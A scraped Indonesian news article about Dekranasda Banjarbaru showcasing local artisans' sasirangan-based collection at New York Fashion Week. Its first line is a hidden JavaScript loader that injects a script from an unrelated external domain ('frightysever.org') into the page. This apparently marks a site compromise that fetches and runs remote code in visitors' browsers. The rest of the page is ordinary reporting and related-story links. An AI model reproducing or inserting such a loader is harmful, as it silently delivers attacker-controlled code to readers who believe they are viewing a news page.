(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dekranasda Kota Banjarbaru terus melakukan gebrakan terhadap produk UMKM. Teranyar, Dekranasda bakal menampilkan 10 karya perajin lokal binaannya di panggung New York Fashion Week.
Beragam produk akan ditampilkan dari sasirangan, Banjarubag, hingga produk dari kerajinan purun.
Ketua Dekranasda Kota Banjarbaru, Vivi Mar’i Zubedi mengungkapkan, untuk bisa tampil di acara New York Fashion Week tentu saja produk UMKM akan lebih ditingkatkan kualitasnya.
“Di tahun ini saya mendedikasikan kepada Dekranasda Kota Banjarbaru agar dapat berpartisipasi membawa produk lokal UMKM Banjarbaru. Kualitas kita upgrade, Insyaallah kita jamin dan pengrajin sudah kita upgrade,” beber perempuan yang juga desainer nasional ini, Kamis (25/8/2022).
Baca juga : Polres Tanbu Amankan Bandar Judi Togel di Karang Bintang
Alasan Vivi membawa hasil karya lokal Banjarbaru dikarenakan dirinya terpesona oleh keunikan budaya Banjar dan terinspirasi semangat para perempuan perajin lokal yang mempunyai visi untuk melestarikan budaya.
“Ini yang membuat saya kian gigih untuk memajukan industri kerajinan UMKM Banjarbaru,” katanya.
Ketika tawaran untuk tampil di panggung “Indonesia Now” NYFW datang kepada Vivi, ia menganggap sebagai kesempatan besar yang tidak boleh dilewatkan. Tahun ini adalah kali ke-empat baginya meramaikan panggung NYFW.
Namun yang berbeda di tahun ini adalah dia tidak membawa brand Vivi Zubedi, melainkan akan memboyong karya para perajin lokal Kota Banjarbaru.
Baca juga : Paparkan Metode Sekolah Alam, Nahdia Wakili Pemuda Pelopor Kabupaten Balangan
Dengan koleksi yang diberi judul “N E O C U L T U R E”, mempersembahkan 10 looks dengan mengangkat kain Sasirangan sebagai elemen utamanya, merupakan kain khas Kalimantan Selatan yang dikenal dengan keunikan dan teknik yang cukup sulit serta membutuhkan waktu yang lama dalam proses pembuatan.
Menjadikannya bukan hanya sekedar pakaian, tetapi sesuatu yang indah untuk diceritakan kepada dunia. Dikombinasikan dengan elemen modern ala Vivi Zubedi yang merupakan gabungan fenomena budaya untuk memberi perspektif baru bagi para pecinta fashion tentang komposisi sempurna akan perpaduan budaya, warna, bahan serta pola yang dibuat dengan hati dari hasil karya perajin lokal Kota Banjarbaru.
“Tentu harapannya sasaringan bisa dikenal lagi, agar bisa sejajar dengan Batik, dan Kota Banjarbaru dilirik di kancah nasional,” harapnya.
Menurut Vivi, produk yang masuk di Dekranasda Kota Banjarbaru merupakan produk unggulan dan sudah terkurasi produknya dari segi kualitas, harga dan keterserapan produk.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : cell
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo turun langsung ke pasar besar Kuala Kapuas… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 orang Penjabat (Pj) Kepala… Read More
Gubernur Kalsel: Percuma Rencana Kalau Tidak Dilakukan Read More
KANALKALIMANTAN.COM, JAKARTA – Keberhasilan Pemerintah Kabupaten Banjar dalam upaya mewujudkan tata kelola pemerintahan yang bersih… Read More
This website uses cookies.